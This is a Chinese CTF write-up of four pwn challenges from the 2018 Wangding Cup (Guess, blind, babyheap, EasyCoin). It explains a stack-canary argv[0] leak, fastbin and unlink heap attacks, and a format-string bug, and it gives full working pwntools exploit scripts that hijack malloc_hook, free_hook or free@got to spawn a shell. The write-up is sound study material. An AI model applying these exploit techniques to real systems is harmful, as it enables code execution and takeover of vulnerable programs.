2018网鼎杯第一场部分pwn

好久没做题,手已经生了,这次比赛提醒自己不能懈怠= =

Guess

基本逻辑

程序逻辑比较简单,每次比对flag时fork一个新的子进程进行比较。

main函数

再给自己讲一次fork函数:系统会先给新的子进程分配资源,然后从父进程中将各个数据复制到新的进程中。虽然在gdb中调试查看父进程和子进程的同一个变量是在同一个地址,但是实际上的物理地址是不同的,它们的资源是独立的,操作父进程中的变量不会影响子进程,如题目中的v7。fork之后,对于子进程会返回0,对于父进程返回的是子进程的PID,因此在上述逻辑中,对于父进程,会执行v7++,并停等在wait处,直到子进程返回;对于子进程,break跳出循环后进行比对,比对结束后子进程退出。

漏洞分析

程序中使用了gets函数,典型的缓冲区溢出函数。但是checksec,程序开启了canary保护:

checksec

ctf-wiki中提到,当canary的值被修改后,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,一般情况下都是程序名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// debug/stack_chk_fail.c
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

// debug/fortify_fail.c
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

尝试输入超过0x40个字节,并在__fortify_fail处设置断点,查看__libc_message的参数:

__libc_message的参数

此时argv[0]中的字符串为程序名,继续执行,就会打印结果:

canary保护的输出

因此,当我们能够覆盖argv[0]为存放flag的buf地址,就能通过canary机制将内容读出。而且每次canary被修改之后,只是子进程退出,而父进程仍在正常执行。

漏洞利用

漏洞利用的思路为将argv[0]的地址覆盖为buf地址。由于buf为栈上的地址,因此首先需要泄露栈地址。在libc中有一个environ变量,它记录了程序的环境变量,而环境变量是存放在栈上的,可以通过读取这个值泄露栈上的地址。但在此之前,需要泄露libc的地址。

泄露libc地址

将argv[0]覆写为puts@got的地址泄露puts函数地址。

查看执行gets前后的栈结构,发现有一个变量用于存放argv[0]:

栈中存放argv[0]的地址

计算S2和这个地址之间的偏移并填充,即可覆盖这一地址中的内容为puts@got的地址,canary保护就会输出puts函数的地址。

本题没有给出libc,可以使用libc-database来确定使用的是哪一版本的libc。

确定后通过相对偏移计算出environ变量的地址。

泄露栈地址

在第二次覆写时,将0x7fffffffdf68处覆写为environ的地址,读出栈地址,通过偏移计算出buf地址。

读取flag

第三次覆写时,将0x7fffffffdf68处覆写为buf地址,读出flag

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level = 'debug'

debug = 0
if debug:
p = process('./GUESS')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('106.75.90.160',9999)
libc = ELF('./libc-database/db/libc6_2.23-0ubuntu10_amd64.so')
puts_got = 0x602020
payload = 'a'*296 + p64(puts_got)

p.sendlineafter("Please type your guessing flag\n",payload)
p.recvuntil("*** stack smashing detected ***: ")
puts_addr = u64(p.recv(6).ljust(8,'\0'))
log.info("puts_addr:%#x",puts_addr)

#gdb.attach(p,'b *0x400b23')
environ_addr = puts_addr - (libc.symbols['puts']-libc.symbols['environ'])
payload = 'a'*296 + p64(environ_addr)
p.sendlineafter("Please type your guessing flag\n",payload)
p.recvuntil("*** stack smashing detected ***: ")
environ = u64(p.recv(6).ljust(8,'\0'))
log.info("environ:%#x",environ)


offset = 248
rbp = environ - offset
buf_addr = rbp-0x70
payload = 'a'*296 + p64(buf_addr)
p.sendlineafter("Please type your guessing flag\n",payload)
p.interactive()

blind

顾名思义,blind的含义就是看不见输出,之前也遇到过同样类型的silent(强网杯),但是本题开了更多的保护机制。

基本逻辑

程序主要有三个功能:add、change和release

main函数

add用于添加一个0x68大小的块,向其中写入内容,同时更新ptr数组。ptr数组存放各个块的地址。

add函数

change修改块中的内容。

change函数

release释放指定的块,并更新free_time,此处限制了release函数使用的次数。

release函数

另外在add和change都用到了一个read_str函数,当遇到\n或输入长度达到限制时,会向当前位置写入一个0

read_str函数

漏洞分析

在release函数中free后的指针没有置零,存在UAF漏洞。同时本程序还开启了RELRO保护,不能对GOT表进行修改。

checksec

可以通过UAF漏洞构造出fastbin attack一样的条件,即修改已释放的fastbin的FD指针指向一个伪造的块,当再次分配时,伪造的块就被分配出去。

本程序中bss段是可写的,且已经提供现成的system(‘/bin/sh’),考虑将malloc_hook修改为system函数地址。而malloc_hook离main_arena很近,考虑在ptr数组中伪造一个指针指向main_arena。我们知道,当有一个0x100大小的块被释放时,会被放入unsortedbin,此时FD和BK都会被写成main_arena+88,如果能够伪造一个0x100的块并释放,就能够实现在ptr数组中写入main_arena+88。

mallc_hook离main_arena很近

漏洞利用

为了能向malloc_hook中写入system,需要在ptr数组中伪造一个指向0x100大小块的指针,也就是要实现覆写功能。利用UAF能够修改已释放块的FD指针,让FD指向bss段上stderr-3前后的位置,这里能够保证size处正好对应0x7f,能够绕过free函数的检查。这一块分配出去后,能够向bss段写入0x68个字节,覆盖掉ptr中的内容,顺便覆盖掉free_time。

stderr-5

覆写的时候,从ptr[0]开始伪造fake_chunk,ptr[1]处写入块的大小0x101,ptr[4]位置写入ptr[2],即ptr[4]控制的块指向ptr[2]处。

覆写完成后,考虑释放掉ptr[4],但此处需要注意free函数有一些检查(我踩的坑):

  1. __int_free会在释放之前会首先检查释放的chunk是否是16对齐的:misaligend_chunk(p),不是的话会报错。如果是释放ptr[1]、ptr[3]……这类结尾是0x8的地址就会报错。

    1
    2
    3
    4
    5
    6
    7
    8
    static void
    _int_free (mstate av, mchunkptr p, int have_lock)
    {
    ……
    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
    || __builtin_expect (misaligned_chunk (p), 0))
    ……
    }
  2. 考虑到合并的问题,__int_free也会检查释放块是否使用中(即下一块的inuse位是否为1)、释放块的前一块是否使用中(即当前块的inuse是否为1)、释放块的下一块是否在使用中(下一块的下一块 inuse是否为1)。此题为了避免合并,将代表size的ptr[3]末尾置1,并伪造下一块的下一块inuse为1,同时为了确定不是double free,将下一块的inuse位末尾置一。

考虑到上述因素,需要在fake_chunk之后的0x100出写下inuse位1,代表fake_chunk正在使用,同时设置该块大小为0x20;在fake_chunk+0x100+0x20处写下inuse位1,代表fake_chunk的下一块正在使用,不会合并。因此在ptr[3]中写入ptr+0x100的地址,ptr[5]中写入ptr+0x120的地址。

一切准备就绪后,可以释放ptr[4],ptr[2]处就会写入FD值,即main_arena+88。由于read_str函数在收到\n时会写入一个0,可以change第4块,只输入一个\n,那么ptr[2]中就由main_arena+88(0x7ffff7dd1b70)变成0x7ffff7dd1b00,这个地址正好就是malloc_hook-0x10,此时再change第四块,就能向malloc_hook写入system了。

填充的bss如下:

填充bss

释放ptr[4]后的bss如下:

释放ptr[4]后的bss

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level = 'debug'

debug = 1
if debug:
p = process('./blind')
else:
p = remote('106.75.20.44',9999)
bss_addr = 0x60203d
ptr_addr = 0x602060
sys_addr = 0x4008e3
fini_addr = 0x601db8

def add(idx,content):
p.sendlineafter("Choice:",'1')
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Content:",content)
def change(idx,content):
p.sendlineafter("Choice:",'2')
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Content:",content)
def release(idx):
p.sendlineafter("Choice:",'3')
p.sendlineafter("Index:",str(idx))

add(0,'0gur1')
add(1,'1gur1')
release(0)
release(1)


change(0,p64(bss_addr))
add(2,'2gur1')#2->1
add(3,'3gur1')#3->0


fake_chunk = p64(0xdeadbeef)+p64(0x101)
fake_chunk += p64(0)+p64(ptr_addr+0x100)

payload = 'a'*(ptr_addr-bss_addr-16)+fake_chunk+p64(ptr_addr+0x10)+p64(ptr_addr+0x120)
add(4,payload)#4->bss_addr

change(3,p64(0xdeadbeef)+p64(0x21))
change(5,p64(0xdeadbeef)+p64(0x21))

#gdb.attach(p,'b *0x400c94')
release(4)
change(4,'')
#raw_input()
change(2,'a'*0x10+p64(sys_addr))
change(4,p64(0))
p.sendlineafter("Choice:",'1')
p.sendlineafter("Index:",'2')
p.interactive()

babyheap

babyheap和blind两道题很像,限制条件不同。

基本逻辑

babyheap和blind的逻辑类似,不同的是babyheap添加了输出函数show,限制了change的次数,解除了release的次数限制,同时给content分配的块大小由0x68变成了0x20,ptr数组中的块数增加到了10块。

main函数

add函数

change函数

show函数

release函数

漏洞分析

同样,babyheap中的release函数也没有对free掉的指针置零,存在UAF漏洞和double free漏洞。本题没有给system函数,先对libc进行泄露,再覆写free_hook为system。

libc的泄露和free_hook的改写都要需要对ptr数组进行修改,然后通过show和change函数完成泄露和改写。如何能对ptr数组改写呢?由于本题的块大小已被修改为0x20,即chunk size处为0x30,已不能使用blind中的方法。为了能对ptr进行覆写,可以伪造一个chunk,构造FD和BK,通过free触发unlink实现。

漏洞利用

unlink实现ptr数组的覆写

当要free一个0x90的块时,如果它的前一块是一个空闲块时,会先对前一块进行unlink,然后再把这两块合并。因此,我们需要一个chunk size为0x90且inuse位已经置零的chunk,以及空闲的上一块。

实际上,题目中是存在堆溢出漏洞的,可以利用这个漏洞修改某个块的chunk size字段。堆溢出漏洞如下:如果在已分配的content部分构造一个chunk size为0x30的fastbin,就能通过fastbin attack修改FD指针为这个chunk,再次分配的块就指向了这个chunk+0x10处,在读入0x20个字节时,就会覆盖掉下一块的chunk size字段。

另外由于存在UAF漏洞,在fastbin attack中也能顺便泄露堆地址。

堆溢出漏洞及fastbin attack结合修改堆上内容

接下来,把content0构造成空闲的上一块,写入FD和BK指针。这里就是unlink的套路了,FD和BK分别写入ptr[0]-0x18和ptr[0]-0x10,在unlink时先检查 FD->bk==BK->fd==P,其中P为要释放的地址,即:*(ptr[0]-0x18+0x18) == *(ptr[0]-0x10+0x10) ==*(ptr[0]),接着是unlink的FD->bk=BK,BK->fd=FD,即:

*(ptr[0]-0x18+0x18)=ptr[0]-0x10*(ptr[0]-0x10+0x10)=ptr[0]-0x18,最终*(ptr[0])=ptr[0]-0x18,即ptr[0]中写入的是ptr[0]-0x18。

free时同blind一样,要注意inuse位的问题,上一块已经标注为空闲了;当前块的inuse位由下一块控制,地址为content2+0x90,可以事先申请好content3、content4、content5,这样content5就代表着content2的下一块,已经分配的content5 inuse位一定为1;下一块的inuse位由top控制,肯定为1。

至此,就能实现对ptr的覆写:change第0块相当于向ptr[0]-0x18写入内容,能够覆盖ptr[0]中的值为ptr[8],再change第0块相当于向ptr[8]中写入内容,能够覆写ptr[8],ptr[9]和edit_time。

最终堆中的数据

泄露libc地址&覆写free_hook

在上一步的ptr[8]中写入free@got地址,show第8块即可泄露libc地址。

在上一步的ptr[9]中写入ptr[0]地址,泄露libc地址之后,向ptr[9]中写入free_hook的地址,即ptr[0]中为free_hook地址,再change第0块,写入one_gadget。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.log_level = 'debug'

debug = 1
if debug:
p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('106.75.20.44',9999)
libc = ELF('./libc.so.6')

ptr_addr = 0x602060
free_got = 0x601f98
gadget =[0x45216,0x4526a,0xf02a4,0xf1147]

def add(idx,content):
p.sendlineafter("Choice:",'1')
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Content:",content)
def change(idx,content):
p.sendlineafter("Choice:",'2')
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Content:",content)
def show(idx):
p.sendlineafter("Choice:",'3')
p.sendlineafter("Index:",str(idx))
def release(idx):
p.sendlineafter("Choice:",'4')
p.sendlineafter("Index:",str(idx))

add(0,p64(0xdeadbeef)+p64(0x51)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)[:-1])
add(1, p64(0xdeadbeef)+p64(0x31))
add(2,'2gur1')
add(3,'3gur1')
add(4,'4gur1')
add(5,'5gur1')

release(3)
release(2)
release(3)
#gdb.attach(p,'b *0x400d71\nc\nn\nx/8gx 0x602060')

show(3)
heap_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
log.info('heap_addr:%#x',heap_addr)

add(6,p64(heap_addr-0x20))#6->3
add(7,'7gur1')#7->2
add(8,'8gur1')#8->3


payload = 'a'*16+p64(0x50)+p64(0x90)[:-1]
add(9,payload)

release(2)

#gdb.attach(p)
change(0,'a'*24+p64(ptr_addr+0x40)[:-1])
change(0,p64(free_got)+p64(ptr_addr)+p64(0xffffffff))
show(8)
free_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
free_hook = free_addr - libc.symbols['free']+libc.symbols['__free_hook']
one_gadget = free_addr - libc.symbols['free']+ gadget[3]

change(9,p64(free_hook))
change(0,p64(one_gadget))

release(4)


p.interactive()

EasyCoin

基本逻辑

程序实现了用户的注册和登录功能,在登录后能够发起交易。

主要功能

regist函数构建一个新的块,包含用户名、密码、总金额和交易列表。

regist主要代码

1
2
3
4
5
6
struct user{
char name[32];
char pwd[32];
int total=1000000000;
char *deal_list=NULL;
}

login函数比对用户名和密码。

login主要代码

display函数较简单,展示用户的基本信息。

display

send_coin发送硬币,先在接收方的deal_list中追加结点,再在当前用户的deal_list追加结点。

send_coin主要代码

1
2
3
4
5
6
7
struct deal{
struct deal * next;
char * other;//sendor or receiver
int id;
bool flag;//0 for send money,1 for receive money
int money;
}

display_trans展示用户的交易信息,简单的读取deal_list。

disaplay_trans

change_pwd修改用户密码。

change_pwd

dele_user删除当前用户,释放name,pwd的空间,并沿着deal_list依次删除其他用户中包含与当前用户交易的deal,再删除deal_list中的deal,最终释放user的空间。

dele_user

dele_deal是用于在交易另一方的deal_list中照当与当前用户的交易并删除。

dele_deal

漏洞分析

漏洞一:在main函数中,第二个switch中的default,存在格式化字符串漏洞,可用于泄露地址。

格式化字符串漏洞

漏洞二:在dele_user函数中,虽然释放了deal_list中的deal,但并没有修改deal_list的指向,仍然能通过user->deal_list访问到已经释放的块。另外,send_coin时能向自己发送金币,即deal_list可以有sendor和receiver都是自己的deal,在这种情况下,删除当前用户,dele_user就会通过deal->other信息找到自己,如果这笔交易之前有其他已经释放的交易,那么就会把已释放的FD当做next字段查找一下个deal,而FD的值相对于真正的内容相差16字节,利用这一点点偏移能够伪造假的next字段,指向我们可控的块。

漏洞利用

泄露地址

格式化字符串泄露libc地址和堆地址。

在调用printf(&buf)时,观察各寄存器和栈结构,发现rcx中的值位于libc中,栈中的第四个参数是堆地址

观察寄存器及栈

在buf中写入%3$p%9$p能够获取相关信息。

覆写free地址为system地址

为user1构造一个正常的交易和一个发送给自己的交易,如下:

user1的deal_list

当删除user1时,会首先处理第一个与user2的正常交易,在程序逻辑中,user1的id为0的deal块(简称user1_0)和user2的id为0的deal块(简称user2_0)是一前一后创造的,这两块是挨在一起的。释放的时候会先释放user2_0,再释放user1_0,因此释放后,user1_0的FD指针指向user2_0。即user1_0的next指针被修改为user2_0。

接下来处理user1_1,由于这里的other仍是user1,就会沿着user1的deal_list查找,而user1_0的FD已经被修改成user2_0了,会把user2_0的previous size字段当做next处理,这个字段又恰好是user1_0的money字段。我们可以在此处把money指向user2_pwd处。user2_pwd是我们可控的,在这里伪造一个deal结构,并使id对应位置为1,这样就会释放user2_pwd。

释放前后,id为0的deal变化

在user2_pwd伪造deal结构

删除完user1后,fastbin中的结构如下:

1
user1_name<-user1_pwd<-user2_0<-user1_0<-user2_pwd<-user1_1<-user1_1<-user1

通过修改user2的密码,修改fastbin中user2_pwd的下一块,这里将user2_pwd的FD修改为user3_pwd,这样在发起两次交易(与user)之后,注册新用户,就会分配到user3_pwd这块。

1
2
user3_pwd<-user2_pwd<-user1_1<-user1_1<-user1
user4 user3_2 user2_2 user3_1 user2_1

此时,修改user3的密码,就相当于修改user4的块,通过这一操作将user4->pwd修改为free@got,再通过修改user4的密码,向free@got中写入system地址。

整体的堆和fastbin结构如下:

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.log_level='debug'

p = process('./EasyCoin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def regist(name,pwd,pwd1):
p.sendlineafter("> ",'1')
p.sendlineafter("Please input username\n> ",name)
p.sendlineafter("Please input password\n> ",pwd)
p.sendlineafter("Verify input password\n> ",pwd1)

def login(name,pwd):
p.sendlineafter("> ",'2')
p.sendlineafter("Please input username\n> ",name)
p.sendlineafter("Please input password\n> ",pwd)

def display():
p.sendlineafter("> ",'1')

def sendcoin(name,money):
p.sendlineafter("> ",'2')
p.sendlineafter("What user do you send to?\n> ",name)
p.sendlineafter("Hom many?\n> ",money)

def change_pwd(pwd):
p.sendlineafter("> ",'4')
p.sendlineafter("Please input password\n> ",pwd)

def dele():
p.sendlineafter("> ",'5')

def logout():
p.sendlineafter("> ",'6')

ptr= 0x603100
free_got = 0x603018

pwd2=p64(0)+p64(0xdeadbeef)+p64(1)
regist("0gur1","123","123")
regist("0gur2",pwd2,pwd2)
regist("/bin/sh","","")
login("0gur2",pwd2)

#leak libc

p.sendafter("> ",'%3$p')
p.recvuntil("[-] Unknown Command: ")
addr = int(p.recv(14),16)
sys_addr = addr - 728880
free_addr = sys_addr - (libc.symbols['system']-libc.symbols['free'])
log.info('sys_addr:%#x',sys_addr)
log.info('free_addr:%#x',free_addr)

#gdb.attach(p,"b *0x401717")
p.sendafter("> ",'%9$p')
p.recvuntil("[-] Unknown Command: ")
heap_addr = int(p.recvuntil('\x7f')[:-2],16)-0xa0
log.info('heap_addr:%#x',heap_addr)

sendcoin("0gur1",str(heap_addr+0x100))
logout()

#0gur1
login("0gur1","123")
sendcoin("0gur1",'12')
dele()

#0gur2
pwd2 = p64(heap_addr+0x1b0)+p64(0xdeadbeef)+p64(1)
login("0gur2",pwd2)
change_pwd(p64(heap_addr+0x180))
sendcoin("/bin/sh","12")
sendcoin("/bin/sh","12")
logout()

regist("0gur3","123","123")
#binsh
login("/bin/sh",p64(heap_addr+0x280))
change_pwd(p64(heap_addr+0x280)+p64(free_got))
logout()

#0gur3
#gdb.attach(p)
login("0gur3",p64(free_addr))
change_pwd(p64(sys_addr))
logout()

#binsh
login("/bin/sh",p64(heap_addr+0x280))
dele()


p.interactive()

另一种方法

PS:写blog的过程中想到另外一种简单一点的方式,不用在fastbin中修改user2_pwd的FD指针,把user2_pwd分配给一个新的user,和上述同理,也是通过操作新user的pwd来写入system地址。

1
2
……user2_pwd<-user1_1  <-user1_1   <-user1
user5 user4_pwd user4_name user4

fastbin

对应的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.log_level='debug'

p = process('./EasyCoin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def regist(name,pwd,pwd1):
p.sendlineafter("> ",'1')
p.sendlineafter("Please input username\n> ",name)
p.sendlineafter("Please input password\n> ",pwd)
p.sendlineafter("Verify input password\n> ",pwd1)

def login(name,pwd):
p.sendlineafter("> ",'2')
p.sendlineafter("Please input username\n> ",name)
p.sendlineafter("Please input password\n> ",pwd)

def display():
p.sendlineafter("> ",'1')

def sendcoin(name,money):
p.sendlineafter("> ",'2')
p.sendlineafter("What user do you send to?\n> ",name)
p.sendlineafter("Hom many?\n> ",money)

def change_pwd(pwd):
p.sendlineafter("> ",'4')
p.sendlineafter("Please input password\n> ",pwd)

def dele():
p.sendlineafter("> ",'5')

def logout():
p.sendlineafter("> ",'6')

ptr= 0x603100
free_got = 0x603018

pwd2=p64(0)+p64(0xdeadbeef)+p64(1)
regist("0gur1","123","123")#user1
regist("0gur2",pwd2,pwd2)#user2
regist("/bin/sh","","")#user3
login("0gur2",pwd2)

#leak libc

p.sendafter("> ",'%3$p')
p.recvuntil("[-] Unknown Command: ")
addr = int(p.recv(14),16)
sys_addr = addr - 728880
free_addr = sys_addr - (libc.symbols['system']-libc.symbols['free'])
log.info('sys_addr:%#x',sys_addr)
log.info('free_addr:%#x',free_addr)

p.sendafter("> ",'%9$p')
p.recvuntil("[-] Unknown Command: ")
heap_addr = int(p.recvuntil('\x7f')[:-2],16)-0xa0
log.info('heap_addr:%#x',heap_addr)

sendcoin("0gur1",str(heap_addr+0x100))
logout()

#0gur1
login("0gur1","123")
sendcoin("0gur1",'12')
dele()

regist("0gur3","123","123")#user4
regist("0gur4","123","123")#user5

#0gur2
pwd2 = p64(heap_addr+0x1c0)#+p64(heap_addr+0x70)+p64(1)
#gdb.attach(p,"b *0x400e51")
login("0gur2",pwd2)
change_pwd(p64(heap_addr+0x1c0)+p64(free_got))
logout()

#0gur4
login("0gur4",p64(free_addr))
change_pwd(p64(sys_addr))
logout()

login("/bin/sh","")
dele()

p.interactive()